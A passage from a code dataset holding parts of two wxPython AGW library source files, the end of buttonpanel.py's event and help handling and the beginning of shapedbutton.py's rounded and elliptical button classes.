``wx.EVT_LEFT_DOWN`` event for L{ButtonPanel}.\n\n :param `event`: a `wx.MouseEvent` event to be processed. \n \"\"\"\n \n tabId, hit = self.HitTest(event.GetPosition())\n\n if hit == BP_HT_BUTTON:\n btn = self._vButtons[tabId]\n if btn.IsEnabled(): \n btn.SetStatus(\"Pressed\")\n self._currentButton = tabId\n \n\n def OnLeftUp(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_UP`` event for L{ButtonPanel}.\n\n :param `event`: a `wx.MouseEvent` event to be processed. \n \"\"\"\n \n tabId, flags = self.HitTest(event.GetPosition())\n \n if flags != BP_HT_BUTTON:\n return\n \n hit = self._vButtons[tabId]\n\n if hit.GetStatus() == \"Disabled\":\n return\n\n for btn in self._vButtons:\n if btn != hit:\n btn.SetFocus(False)\n \n if hit.GetStatus() == \"Pressed\": \n hit.SetToggled(not hit.GetToggled())\n \n # Update the button status to be hovered \n hit.SetStatus(\"Hover\")\n hit.SetFocus()\n self._currentButton = tabId\n\n # Fire a button click event \n btnEvent = wx.CommandEvent(wx.wxEVT_COMMAND_BUTTON_CLICKED, hit.GetId())\n btnEvent.SetEventObject(hit)\n self.GetEventHandler().ProcessEvent(btnEvent) \n \n\n def OnMouseLeave(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEAVE_WINDOW`` event for L{ButtonPanel}.\n\n :param `event`: a `wx.MouseEvent` event to be processed. \n \"\"\"\n\n # Reset all buttons statuses\n for btn in self._vButtons:\n if not btn.IsEnabled():\n continue\n btn.SetStatus(\"Normal\")\n\n self.RemoveHelp()\n \n event.Skip() \n \n\n def OnMouseEnterWindow(self, event):\n \"\"\"\n Handles the ``wx.EVT_ENTER_WINDOW`` event for L{ButtonPanel}.\n\n :param `event`: a `wx.MouseEvent` event to be processed. \n \"\"\"\n\n tabId, flags = self.HitTest(event.GetPosition())\n\n if flags == BP_HT_BUTTON:\n \n hit = self._vButtons[tabId]\n\n if hit.GetStatus() == \"Disabled\":\n event.Skip()\n return\n\n self.DoGiveHelp(hit)\n self._currentButton = tabId\n \n event.Skip() \n \n\n def DoGiveHelp(self, hit):\n \"\"\"\n Shows tooltips and long help strings in `wx.StatusBar`.\n\n :param `hit`: an instance of L{ButtonInfo} where the mouse is hovering.\n \"\"\"\n\n if not self.GetUseHelp():\n return\n\n shortHelp = hit.GetShortHelp()\n if shortHelp:\n self.SetToolTipString(shortHelp)\n self._haveTip = True\n\n longHelp = hit.GetLongHelp()\n if not longHelp:\n return\n \n topLevel = wx.GetTopLevelParent(self)\n \n if isinstance(topLevel, wx.Frame) and topLevel.GetStatusBar():\n statusBar = topLevel.GetStatusBar()\n\n if self._statusTimer and self._statusTimer.IsRunning():\n self._statusTimer.Stop()\n statusBar.PopStatusText(0)\n \n statusBar.PushStatusText(longHelp, 0)\n self._statusTimer = StatusBarTimer(self)\n self._statusTimer.Start(_DELAY, wx.TIMER_ONE_SHOT)\n\n\n def RemoveHelp(self):\n \"\"\" Removes the tooltips and statusbar help (if any) for a button. \"\"\"\n\n if not self.GetUseHelp():\n return\n\n if self._haveTip:\n self.SetToolTipString(\"\")\n self._haveTip = False\n\n if self._statusTimer and self._statusTimer.IsRunning():\n topLevel = wx.GetTopLevelParent(self)\n statusBar = topLevel.GetStatusBar()\n self._statusTimer.Stop()\n statusBar.PopStatusText(0)\n self._statusTimer = None\n \n\n def RepaintOldSelection(self):\n \"\"\" Repaints the old selected/hovered button. \"\"\"\n \n current = self._currentButton\n \n if current == -1:\n return\n\n btn = self._vButtons[current]\n if not btn.IsEnabled():\n return\n\n btn.SetStatus(\"Normal\")\n\n \n def OnStatusBarTimer(self):\n \"\"\" Handles the timer expiring to delete the long help string in `wx.StatusBar`. \"\"\"\n\n topLevel = wx.GetTopLevelParent(self)\n statusBar = topLevel.GetStatusBar() \n statusBar.PopStatusText(0)\n \n\n def SetUseHelp(self, useHelp=True):\n \"\"\"\n Sets whether or not short and long help strings should be displayed as tooltips\n and `wx.StatusBar` items respectively.\n\n :param `useHelp`: ``True`` to display short and long help strings as tooltips\n and `wx.StatusBar` items respectively, ``False`` otherwise.\n \"\"\"\n\n self._useHelp = useHelp\n\n\n def GetUseHelp(self):\n \"\"\"\n Returns whether or not short and long help strings should be displayed as tooltips\n and `wx.StatusBar` items respectively.\n \"\"\"\n \n return self._useHelp\n\n \n def HitTest(self, pt):\n \"\"\"\n HitTest method for L{ButtonPanel}.\n\n :param `pt`: the mouse position, an instance of `wx.Point`.\n \n :returns: an instance of L{ButtonInfo} and the hit flag ``BP_HT_BUTTON`` if a button\n client rectangle contains the input point `pt`, or ``wx.NOT_FOUND`` and ``BP_HT_NONE``.\n \"\"\"\n \n for ii in xrange(len(self._vButtons)):\n if not self._vButtons[ii].IsEnabled():\n continue\n if self._vButtons[ii].GetRect().Contains(pt):\n return ii, BP_HT_BUTTON\n\n return wx.NOT_FOUND, BP_HT_NONE\n \n\n def GetBPArt(self):\n \"\"\" Returns the associated L{BPArt} art provider. \"\"\"\n\n return self._art\n \n\n def SetBPArt(self, art):\n \"\"\"\n Sets a new L{BPArt} art provider to L{ButtonPanel}.\n\n :param `art`: an instance of L{BPArt}.\n \"\"\"\n \n self._art = art\n self.Refresh()\n\n\n if wx.VERSION < (2,7,1,1):\n def Freeze(self):\n \"\"\"\n Freezes the window or, in other words, prevents any updates from taking place\n on screen, the window is not redrawn at all. L{Thaw} must be called to reenable\n window redrawing. Calls to these two functions may be nested.\n\n :note: This method is useful for visual appearance optimization.\n \"\"\"\n\n self._freezeCount = self._freezeCount + 1\n wx.PyPanel.Freeze(self)\n\n\n def Thaw(self):\n \"\"\"\n Reenables window updating after a previous call to L{Freeze}. To really thaw the\n control, it must be called exactly the same number of times as L{Freeze}.\n \"\"\"\n\n if self._freezeCount == 0:\n raise Exception(\"\\nERROR: Thawing Unfrozen ButtonPanel?\")\n\n self._freezeCount = self._freezeCount - 1\n wx.PyPanel.Thaw(self) \n \n\n def IsFrozen(self):\n \"\"\" Returns ``True`` if the window is currently frozen by a call to L{Freeze}. \"\"\"\n\n return self._freezeCount != 0\n\n", "id": "8302582", "language": "Python", "matching_score": 6.575615406036377, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/agw/buttonpanel.py" }, { "content": "# --------------------------------------------------------------------------- #\n# SHAPEDBUTTON Control wxPython IMPLEMENTATION\n# Python Code By:\n#\n# <NAME>, @ 18 Oct 2005\n# Latest Revision: 15 Aug 2010, 15.00 GMT\n#\n#\n# TODO List/Caveats\n#\n# 1. Elliptic Buttons May Be Handled Better, In My Opinion. They Look Nice\n# But They Are Somewhat More Difficult To Handle When Using Sizers.\n# This Is Probably Due To Some Lack In My Implementation;\n#\n# 2. I Am Unable To Translate The 2 Files \"UpButton.png\" And \"DownButton.png\"\n# Using \"img2py\" (Under wx.tools) Or With PIL In Order To Embed Them In\n# A Python File. Every Translation I Made, Did Not Preserve The Alpha\n# Channel So I Ended Up With Round Buttons Inside Black Squares. Does\n# Anyone Have A Suggestion Here?\n#\n# 3. Creating *A Lot* Of ShapedButtons May Require Some Time. In The Demo,\n# I Create 23 Buttons In About 0.4 Seconds On Windows XP, 3 GHz 1 GB RAM.\n#\n# 4. Creating Buttons With Size Greater Than wx.Size(200, 200) May Display\n# Buttons With Clearly Evident Pixel Edges. This Is Due To The Size Of The\n# Image Files I Load During Initialization. If This Is Not Satisfactory,\n# Please Let Me Know And I Will Upload Bigger Files.\n#\n# For All Kind Of Problems, Requests Of Enhancements And Bug Reports, Please\n# Write To Me At:\n#\n# <EMAIL>\n# <EMAIL>\n#\n# Or, Obviously, To The wxPython Mailing List!!!\n#\n#\n# End Of Comments\n# --------------------------------------------------------------------------- #\n\n\n\"\"\"\nShapedButton tries to fill the lack of \"custom shaped\" controls in wxPython\nand it can be used to build round or elliptic-shaped buttons.\n\n\nDescription\n===========\n\nShapedButton tries to fill the lack of \"custom shaped\" controls in wxPython\n(that depends on the same lack in wxWidgets). It can be used to build round\nbuttons or elliptic buttons.\n\nI have stolen some code from `wx.lib.buttons` in order to recreate the same\nclasses (`GenButton`, `GenBitmapButton`, `GenBitmapTextButton`, `GenToggleButton`,\n`GenBitmapToggleButton`, `GenBitmapTextToggleButton`). Here you have the same\nclasses (with \"Gen\" replaced by \"S\"), with the same event handling, but they\nare rounded/elliptical buttons.\n\nShapedButton is based on a `wx.Window`, in which 2 images are drawn depending\non the button state (pressed or not pressed). The 2 images have been stolen\nfrom Audacity (written with wxWidgets) and rearranged/reshaped/restyled\nusing adobe PhotoShop.\nChanging the button colour in runtime was more difficult, but using some\nintelligent instruction from the PIL library it can be done.\n\nShapedButton reacts on mouse events *only* if the mouse event occurred inside\nthe circle/ellipse, even if ShapedButton is built on a rectangular window.\nThis behavior is a lot different with respect to Audacity round buttons.\n\n\nUsage\n=====\n\nThe ShapedButton constructions, excluding wxPython parameter are, for the\n6 Classes::\n\n MyShapedButton = SButton(parent, label)\n\n MyShapedButton = SBitmapButton(parent, bitmap)\n\n MyShapedButton = SBitmapTextButton(parent, bitmap, label)\n\n MyShapedButton = SToggleButton(parent, label)\n\n MyShapedButton = SBitmapToggleButton(parent, bitmap)\n\n MyShapedButton = SBitmapTextToggleButton(parent, bitmap, label)\n\n\nThe ShapedButton construction and usage is quite similar to the `wx.lib.buttons`\nimplementation.\n\n\nMethods and Settings\n====================\n\nWith ShapedButton you can:\n\n- create rounded/elliptical buttons/togglebuttons;\n- Set images for the enabled/disabled/focused/selected state of the button;\n- Draw the focus indicator (or disable it);\n- Set label colour and font;\n- Apply a rotation to the ShapedButton label;\n- Change ShapedButton shape and text orientation in runtime.\n\n\n:note: ShapedButton **requires** PIL (Python Imaging Library) library to be installed,\n which can be downloaded from http://www.pythonware.com/products/pil/ .\n\n\nWindow Styles\n=============\n\n`No particular window styles are available for this class.`\n\n\nEvents Processing\n=================\n\nThis class processes the following events:\n\n================= ==================================================\nEvent Name Description\n================= ==================================================\n``wx.EVT_BUTTON`` Process a `wx.wxEVT_COMMAND_BUTTON_CLICKED` event, when the button is clicked. \n================= ==================================================\n\n\nLicense And Version\n===================\n\nShapedButton is distributed under the wxPython license.\n\nLatest revision: <NAME> @ 15 Aug 2010, 15.00 GMT\n\nVersion 0.4\n\n\"\"\"\n\n\n#----------------------------------------------------------------------\n# Beginning Of SHAPEDBUTTON wxPython Code\n#----------------------------------------------------------------------\n\nimport wx\nfrom wx.lib import imageutils\n\n# First Check If PIL Is Installed Properly\ntry:\n\n import PIL.Image as Image\n\nexcept ImportError:\n\n errstr = (\"\\nShapedButton *Requires* PIL (Python Imaging Library).\\n\"\n \"You Can Get It At:\\n\\n\"\n \"http://www.pythonware.com/products/pil/\\n\\n\"\n \"ShapedButton Can Not Continue. Exiting...\\n\")\n\n raise Exception(errstr)\n\nimport os\n\nfolder = os.path.split(__file__)[0]\n\n# Import Some Stuff For The Annoying Ellipsis... ;-)\nfrom math import sin, cos, pi\n\n#-----------------------------------------------------------------------------\n# PATH & FILE FILLING FUNCTION (OS INDEPENDENT)\n# This Is Required To Load The Pressed And Non-Pressed Images From The\n# \"images\" Directory.\n#-----------------------------------------------------------------------------\n\ndef opj(path):\n \"\"\"\n Convert paths to the platform-specific separator.\n\n :param `path`: the path to convert.\n \"\"\"\n\n strs = apply(os.path.join, tuple(path.split('/')))\n # HACK: on Linux, a leading / gets lost...\n if path.startswith('/'):\n strs = '/' + strs\n\n return strs\n\n#-----------------------------------------------------------------------------\n\n\n#----------------------------------------------------------------------\n# Class SButtonEvent\n# Code Stolen From wx.lib.buttons. This Class Handles All The Button\n# And ToggleButton Events.\n#----------------------------------------------------------------------\n\nclass SButtonEvent(wx.PyCommandEvent):\n \"\"\" Event sent from the generic buttons when the button is activated. \"\"\"\n\n def __init__(self, eventType, eventId):\n \"\"\"\n Default class constructor.\n\n :param `eventType`: the event type;\n :param `eventId`: the event identifier.\n \"\"\"\n\n wx.PyCommandEvent.__init__(self, eventType, eventId)\n self.isDown = False\n self.theButton = None\n \n\n def SetIsDown(self, isDown):\n \"\"\"\n Sets the button event as pressed.\n\n :param `isDown`: ``True`` to set the event as \"pressed\", ``False`` otherwise.\n \"\"\"\n \n self.isDown = isDown\n\n\n def GetIsDown(self):\n \"\"\" Returns ``True`` if the button event is \"pressed\". \"\"\"\n \n return self.isDown\n \n\n def SetButtonObj(self, btn):\n \"\"\"\n Sets the event object for the event.\n\n :param `btn`: the button object.\n \"\"\"\n\n self.theButton = btn\n\n\n def GetButtonObj(self):\n \"\"\" Returns the object associated with this event. \"\"\"\n\n return self.theButton\n\n\n#----------------------------------------------------------------------\n# SBUTTON Class\n# This Is The Main Class Implementation. See __init__() Method For\n# Details. All The Other Button Types Depend On This Class For Event\n# Handling And Property Settings.\n#----------------------------------------------------------------------\n\nclass SButton(wx.Window):\n \"\"\" This is the main implementation of ShapedButton. \"\"\"\n \n _labeldelta = 1\n\n def __init__(self, parent, id=wx.ID_ANY, label=\"\", pos=wx.DefaultPosition,\n size=wx.DefaultSize):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the L{SButton} parent. Must not be ``None``;\n :param `id`: window identifier. A value of -1 indicates a default value;\n :param `label`: the button text label;\n :param `pos`: the control position. A value of (-1, -1) indicates a default position,\n chosen by either the windowing system or wxPython, depending on platform;\n :param `size`: the control size. A value of (-1, -1) indicates a default size,\n chosen by either the windowing system or wxPython, depending on platform.\n \"\"\"\n\n wx.Window.__init__(self, parent, id, pos, size)\n\n if label is None:\n label = \"\"\n\n self._enabled = True\n self._isup = True\n self._hasfocus = False\n self._usefocusind = True\n\n # Initialize Button Properties\n self.SetButtonColour()\n self.SetLabel(label)\n self.SetLabelColour()\n self.InitColours()\n self.SetAngleOfRotation()\n self.SetEllipseAxis()\n\n if size == wx.DefaultSize:\n self.SetInitialSize(self.DoGetBestSize())\n\n # Event Binding\n self.Bind(wx.EVT_LEFT_DOWN, self.OnLeftDown)\n self.Bind(wx.EVT_LEFT_UP, self.OnLeftUp)\n\n if wx.Platform == '__WXMSW__':\n self.Bind(wx.EVT_LEFT_DCLICK, self.OnLeftDown)\n\n self.Bind(wx.EVT_MOTION, self.OnMotion)\n self.Bind(wx.EVT_SET_FOCUS, self.OnGainFocus)\n self.Bind(wx.EVT_KILL_FOCUS, self.OnLoseFocus)\n self.Bind(wx.EVT_KEY_DOWN, self.OnKeyDown)\n self.Bind(wx.EVT_KEY_UP, self.OnKeyUp)\n\n self.Bind(wx.EVT_SIZE, self.OnSize)\n self.Bind(wx.EVT_ERASE_BACKGROUND, lambda x: None)\n self.Bind(wx.EVT_PAINT, self.OnPaint)\n\n\n def SetButtonColour(self, colour=None):\n \"\"\"\n Sets the button colour, for all button states.\n\n :param `colour`: an instance of `wx.Colour`.\n \n :note: The original button images are greyscale with a lot of pixels with\n different colours. Changing smoothly the button colour in order to\n give the same 3D effect can be efficiently done only with PIL.\n \"\"\"\n\n if colour is None:\n colour = wx.WHITE\n\n palette = colour.Red(), colour.Green(), colour.Blue()\n\n self._buttoncolour = colour\n\n self._mainbuttondown = DownButton.GetImage()\n self._mainbuttonup = UpButton.GetImage()\n \n\n\n def GetButtonColour(self):\n \"\"\" Returns the button colour. \"\"\"\n\n return self._buttoncolour\n\n\n def SetLabelColour(self, colour=None):\n \"\"\"\n Sets the button label colour.\n\n :param `colour`: an instance of `wx.Colour`.\n \"\"\"\n\n if colour is None:\n colour = wx.BLACK\n\n self._labelcolour = colour\n\n\n def GetLabelColour(self):\n \"\"\" Returns the button label colour. \"\"\"\n\n return self._labelcolour\n\n\n def SetLabel(self, label=None):\n \"\"\"\n Sets the button label.\n\n :param `label`: the new button label.\n \"\"\"\n\n if label is None:\n label = \"\"\n\n self._buttonlabel = label\n\n\n def GetLabel(self):\n \"\"\" Returns the button label. \"\"\"\n\n return self._buttonlabel\n\n\n def SetBestSize(self, size=None):\n \"\"\"\n Given the current font settings, calculate and set a good size.\n\n :param `size`: if not ``None``, an instance of `wx.Size` to pass to\n `SetInitialSize`.\n \"\"\"\n\n if size is None:\n size = wx.DefaultSize\n\n self.SetInitialSize(size)\n\n\n def DoGetBestSize(self):\n \"\"\"\n Overridden base class virtual. Determines the best size of the button\n based on the label size.\n \"\"\"\n\n w, h, usemin = self._GetLabelSize()\n defsize = wx.Button.GetDefaultSize()\n width = 12 + w\n\n if usemin and width < defsize.width:\n width = defsize.width\n\n height = 11 + h\n\n if usemin and height < defsize.height:\n height = defsize.height\n\n return (width, height)\n\n\n def AcceptsFocus(self):\n \"\"\"\n Can this window be given focus by mouse click?\n\n :note: Overridden from `wx.Window`.\n \"\"\"\n\n return self.IsShown() and self.IsEnabled()\n\n\n def ShouldInheritColours(self):\n \"\"\"\n Overridden base class virtual. Buttons usually do not inherit\n parent's colours.\n \"\"\"\n\n return False\n\n\n def Enable(self, enable=True):\n \"\"\"\n Enables/disables the button.\n\n :param `enable`: ``True`` to enable the button, ``False`` to disable it.\n \n :note: Overridden from `wx.Window`.\n \"\"\"\n\n self._enabled = enable\n self.Refresh()\n\n\n def IsEnabled(self):\n \"\"\" Returns wheter the button is enabled or not. \"\"\"\n\n return self._enabled\n\n\n def SetUseFocusIndicator(self, flag):\n \"\"\"\n Specifies if a focus indicator (dotted line) should be used.\n\n :param `flag`: ``True`` to use the focus indicator, ``False`` otherwise.\n \"\"\"\n\n self._usefocusind = flag\n\n\n def GetUseFocusIndicator(self):\n \"\"\" Returns focus indicator flag. \"\"\"\n\n return self._usefocusind\n\n\n def InitColours(self):\n \"\"\"\n Calculates a new set of focus indicator colour and indicator pen\n based on button colour and label colour.\n \"\"\"\n\n textclr = self.GetLabelColour()\n faceclr = self.GetButtonColour()\n\n r, g, b = faceclr.Get()\n hr, hg, hb = min(255,r+64), min(255,g+64), min(255,b+64)\n self._focusclr = wx.Colour(hr, hg, hb)\n\n if wx.Platform == \"__WXMAC__\":\n self._focusindpen = wx.Pen(textclr, 1, wx.SOLID)\n else:\n self._focusindpen = wx.Pen(textclr, 1, wx.USER_DASH)\n self._focusindpen.SetDashes([1,1])\n self._focusindpen.SetCap(wx.CAP_BUTT)\n\n\n def SetDefault(self):\n \"\"\" Sets the button as default item. \"\"\"\n\n self.GetParent().SetDefaultItem(self)\n\n\n def _GetLabelSize(self):\n \"\"\" Used internally \"\"\"\n\n w, h = self.GetTextExtent(self.GetLabel())\n return w, h, True\n\n\n def Notify(self):\n \"\"\" Notifies an event and let it be processed. \"\"\"\n\n evt = SButtonEvent(wx.wxEVT_COMMAND_BUTTON_CLICKED, self.GetId())\n evt.SetIsDown(not self._isup)\n evt.SetButtonObj(self)\n evt.SetEventObject(self)\n self.GetEventHandler().ProcessEvent(evt)\n\n\n def DrawMainButton(self, dc, width, height):\n \"\"\"\n Draws the main button, in whichever state it is.\n\n :param `dc`: an instance of `wx.DC`;\n :param `width`: the button width;\n :param `height`: the button height.\n \"\"\"\n\n w = min(width, height)\n\n if w <= 2:\n return\n\n position = self.GetPosition()\n\n main, secondary = self.GetEllipseAxis()\n xc = width/2\n yc = height/2\n\n if abs(main - secondary) < 1e-6:\n # In This Case The Button Is A Circle\n if self._isup:\n img = self._mainbuttonup.Scale(w, w)\n else:\n img = self._mainbuttondown.Scale(w, w)\n else:\n # In This Case The Button Is An Ellipse... Some Math To Do\n rect = self.GetRect()\n\n if main > secondary:\n # This Is An Ellipse With Main Axis Aligned With X Axis\n rect2 = w\n rect3 = w*secondary/main\n\n else:\n # This Is An Ellipse With Main Axis Aligned With Y Axis\n rect3 = w\n rect2 = w*main/secondary\n\n if self._isup:\n img = self._mainbuttonup.Scale(rect2, rect3)\n else:\n img = self._mainbuttondown.Scale(rect2, rect3)\n\n bmp = img.ConvertToBitmap()\n\n if abs(main - secondary) < 1e-6:\n if height > width:\n xpos = 0\n ypos = (height - width)/2\n else:\n xpos = (width - height)/2\n ypos = 0\n else:\n if height > width:\n if main > secondary:\n xpos = 0\n ypos = (height - rect3)/2\n else:\n xpos = (width - rect2)/2\n ypos = (height - rect3)/2\n else:\n if main > secondary:\n xpos = (width - rect2)/2\n ypos = (height - rect3)/2\n else:\n xpos = (width - rect2)/2\n ypos = 0\n\n # Draw Finally The Bitmap\n dc.DrawBitmap(bmp, xpos, ypos, True)\n\n # Store Bitmap Position And Size To Draw An Elliptical Focus Indicator\n self._xpos = xpos\n self._ypos = ypos\n self._imgx = img.GetWidth()\n self._imgy = img.GetHeight()\n\n\n def DrawLabel(self, dc, width, height, dw=0, dh=0):\n \"\"\"\n Draws the label on the button.\n\n :param `dc`: an instance of `wx.DC`;\n :param `width`: the button width;\n :param `height`: the button height;\n :param `dw`: width differential, to show a 3D effect;\n :param `dh`: height differential, to show a 3D effect. \n \"\"\"\n\n dc.SetFont(self.GetFont())\n\n if self.IsEnabled():\n dc.SetTextForeground(self.GetLabelColour())\n else:\n dc.SetTextForeground(wx.SystemSettings.GetColour(wx.SYS_COLOUR_GRAYTEXT))\n\n label = self.GetLabel()\n tw, th = dc.GetTextExtent(label)\n\n w = min(width, height)\n\n # labeldelta Is Used To Give The Impression Of A \"3D\" Click\n if not self._isup:\n dw = dh = self._labeldelta\n\n angle = self.GetAngleOfRotation()*pi/180.0\n\n # Check If There Is Any Rotation Chosen By The User\n if angle == 0:\n dc.DrawText(label, (width-tw)/2+dw, (height-th)/2+dh)\n else:\n xc, yc = (width/2, height/2)\n\n xp = xc - (tw/2)* cos(angle) - (th/2)*sin(angle)\n yp = yc + (tw/2)*sin(angle) - (th/2)*cos(angle)\n\n dc.DrawRotatedText(label, xp + dw, yp + dh , angle*180/pi)\n\n\n def DrawFocusIndicator(self, dc, width, height):\n \"\"\"\n Draws the focus indicator. This is a circle/ellipse inside the button\n drawn with a dotted-style pen, to let the user know which button has\n the focus.\n\n :param `dc`: an instance of `wx.DC`;\n :param `width`: the button width;\n :param `height`: the button height. \n \"\"\"\n\n self._focusindpen.SetColour(self._focusclr)\n dc.SetLogicalFunction(wx.INVERT)\n dc.SetPen(self._focusindpen)\n dc.SetBrush(wx.TRANSPARENT_BRUSH)\n\n main, secondary = self.GetEllipseAxis()\n\n if abs(main - secondary) < 1e-6:\n # Ah, That Is A Round Button\n if height > width:\n dc.DrawCircle(width/2, height/2, width/2-4)\n else:\n dc.DrawCircle(width/2, height/2, height/2-4)\n else:\n # This Is An Ellipse\n if hasattr(self, \"_xpos\"):\n dc.DrawEllipse(self._xpos + 2, self._ypos + 2, self._imgx - 4, self._imgy - 4)\n\n dc.SetLogicalFunction(wx.COPY)\n\n\n def OnSize(self, event):\n \"\"\"\n Handles the ``wx.EVT_SIZE`` event for L{SButton}.\n\n :param `event`: a `wx.SizeEvent` event to be processed.\n \"\"\"\n\n self.Refresh()\n event.Skip()\n\n\n def OnPaint(self, event):\n \"\"\"\n Handles the ``wx.EVT_PAINT`` event for L{SButton}.\n\n :param `event`: a `wx.PaintEvent` event to be processed.\n \"\"\"\n\n (width, height) = self.GetClientSizeTuple()\n\n # Use A Double Buffered DC (Good Speed Up)\n dc = wx.BufferedPaintDC(self)\n\n # The DC Background *Must* Be The Same As The Parent Background Colour,\n # In Order To Hide The Fact That Our \"Shaped\" Button Is Still Constructed\n # Over A Rectangular Window\n brush = wx.Brush(self.GetParent().GetBackgroundColour(), wx.SOLID)\n\n dc.SetBackground(brush)\n dc.Clear()\n\n self.DrawMainButton(dc, width, height)\n self.DrawLabel(dc, width, height)\n\n if self._hasfocus and self._usefocusind:\n self.DrawFocusIndicator(dc, width, height)\n\n\n def IsOutside(self, x, y):\n \"\"\"\n Checks if a mouse events occurred inside the circle/ellipse or not.\n\n :param `x`: the mouse x position;\n :param `y`: the mouse y position.\n \"\"\"\n\n (width, height) = self.GetClientSizeTuple()\n diam = min(width, height)\n xc, yc = (width/2, height/2)\n\n main, secondary = self.GetEllipseAxis()\n\n if abs(main - secondary) < 1e-6:\n # This Is A Circle\n if ((x - xc)**2.0 + (y - yc)**2.0) > (diam/2.0)**2.0:\n return True\n else:\n # This Is An Ellipse\n mn = max(main, secondary)\n main = self._imgx/2.0\n secondary = self._imgy/2.0\n if (((x-xc)/main)**2.0 + ((y-yc)/secondary)**2.0) > 1:\n return True\n\n return False\n\n\n def OnLeftDown(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_DOWN`` event for L{SButton}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if not self.IsEnabled():\n return\n\n x, y = (event.GetX(), event.GetY())\n\n if self.IsOutside(x,y):\n return\n\n self._isup = False\n\n if not self.HasCapture():\n self.CaptureMouse()\n\n self.SetFocus()\n\n self.Refresh()\n event.Skip()\n\n\n def OnLeftUp(self, event):\n \"\"\"\n Handles the ``wx.EVT_LEFT_UP`` event for L{SButton}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if not self.IsEnabled() or not self.HasCapture():\n return\n\n if self.HasCapture():\n self.ReleaseMouse()\n\n if not self._isup:\n self.Notify()\n\n self._isup = True\n self.Refresh()\n event.Skip()\n\n\n def OnMotion(self, event):\n \"\"\"\n Handles the ``wx.EVT_MOTION`` event for L{SButton}.\n\n :param `event`: a `wx.MouseEvent` event to be processed.\n \"\"\"\n\n if not self.IsEnabled() or not self.HasCapture():\n return\n\n if event.LeftIsDown() and self.HasCapture():\n x, y = event.GetPositionTuple()\n\n if self._isup and not self.IsOutside(x, y):\n self._isup = False\n self.Refresh()\n return\n\n if not self._isup and self.IsOutside(x,y):\n self._isup = True\n self.Refresh()\n return\n\n event.Skip()\n\n\n def OnGainFocus(self, event):\n \"\"\"\n Handles the ``wx.EVT_SET_FOCUS`` event for L{SButton}.\n\n :param `event`: a `wx.FocusEvent` event to be processed.\n \"\"\"\n\n self._hasfocus = True\n dc = wx.ClientDC(self)\n w, h = self.GetClientSizeTuple()\n\n if self._usefocusind:\n self.DrawFocusIndicator(dc, w, h)\n\n\n def OnLoseFocus(self, event):\n \"\"\"\n Handles the ``wx.EVT_KILL_FOCUS`` event for L{SButton}.\n\n :param `event`: a `wx.FocusEvent` event to be processed.\n \"\"\"\n\n self._hasfocus = False\n dc = wx.ClientDC(self)\n w, h = self.GetClientSizeTuple()\n\n if self._usefocusind:\n self.DrawFocusIndicator(dc, w, h)\n\n self.Refresh()\n\n\n def OnKeyDown(self, event):\n \"\"\"\n Handles the ``wx.EVT_KEY_DOWN`` event for L{SButton}.\n\n :param `event`: a `wx.KeyEvent` event to be processed.\n \"\"\"\n\n if self._hasfocus and event.KeyCode() == ord(\" \"):\n\n self._isup = False\n self.Refresh()\n\n event.Skip()\n\n\n def OnKeyUp(self, event):\n \"\"\"\n Handles the ``wx.EVT_KEY_UP`` event for L{SButton}.\n\n :param `event`: a `wx.KeyEvent` event to be processed.\n \"\"\"\n\n if self._hasfocus and event.GetKeyCode() == ord(\" \"):\n\n self._isup = True\n self.Notify()\n self.Refresh()\n\n event.Skip()\n\n\n def MakePalette(self, tr, tg, tb):\n \"\"\"\n Creates a palette to be applied on an image based on input colour.\n\n :param `tr`: the red intensity of the input colour;\n :param `tg`: the green intensity of the input colour;\n :param `tb`: the blue intensity of the input colour.\n \"\"\"\n\n l = []\n for i in range(255):\n l.extend([tr*i / 255, tg*i / 255, tb*i / 255])\n\n return l\n\n\n def ConvertWXToPIL(self, bmp):\n \"\"\"\n Converts a `wx.Image` into a PIL image.\n\n :param `bmp`: an instance of `wx.Image`. \n \"\"\"\n\n width = bmp.GetWidth()\n height = bmp.GetHeight()\n img = Image.fromstring(\"RGBA\", (width, height), bmp.GetData())\n\n return img\n\n\n def ConvertPILToWX(self, pil, alpha=True):\n \"\"\"\n Converts a PIL image into a `wx.Image`.\n\n :param `pil`: a PIL image;\n :param `alpha`: ``True`` if the image contains alpha transparency, ``False``\n otherwise.\n \"\"\"\n\n if alpha:\n image = apply(wx.EmptyImage, pil.size)\n image.SetData( pil.convert(\"RGB\").tostring() )\n image.SetAlphaData(pil.convert(\"RGBA\").tostring()[3::4])\n else:\n image = wx.EmptyImage(pil.size[0], pil.size[1])\n new_image = pil.convert('RGB')\n data = new_image.tostring()\n image.SetData(data)\n\n return image\n\n\n def SetAngleOfRotation(self, angle=None):\n \"\"\"\n Sets angle of button label rotation.\n\n :param `angle`: the label rotation, in degrees.\n \"\"\"\n\n if angle is None:\n angle = 0\n\n self._rotation = angle*pi/180\n\n\n def GetAngleOfRotation(self):\n \"\"\" Returns angle of button label rotation, in degrees. \"\"\"\n\n return self._rotation*180.0/pi\n\n\n def SetEllipseAxis(self, main=None, secondary=None):\n \"\"\"\n Sets the ellipse axis. What it is important is not their absolute values\n but their ratio.\n\n :param `main`: a floating point number representing the absolute dimension\n of the main ellipse axis;\n :param `secondary`: a floating point number representing the absolute dimension\n of the secondary ellipse axis. \n \"\"\"\n\n if main is None:\n main = 1.0\n secondary = 1.0\n\n self._ellipseaxis = (main, secondary)\n\n\n def GetEllipseAxis(self):\n \"\"\" Returns the ellipse axes. \"\"\"\n\n return self._ellipseaxis\n\n\n#----------------------------------------------------------------------\n# SBITMAPBUTTON Class\n# It Is Derived From SButton, And It Is A Class Useful To Draw A\n# ShapedButton With An Image In The Middle. The Button Can Have 4\n# Different Bitmaps Assigned To Its Different States (Pressed, Non\n# Pressed, With Focus, Disabled).\n#----------------------------------------------------------------------\n\n\nclass SBitmapButton(SButton):\n \"\"\"\n Subclass of L{SButton} which displays a bitmap, acting like a\n `wx.BitmapButton`.\n \"\"\"\n\n def __init__(self, parent, id, bitmap, pos=wx.DefaultPosition, size=wx.DefaultSize):\n \"\"\"\n Default class constructor.\n\n :param `parent`: the L{SBitmapButton} parent. Must not be ``None``;\n :param `id`: window identifier. A value of -1 indicates a default value;\n :param `bitmap`: the button bitmap (if any);\n :param 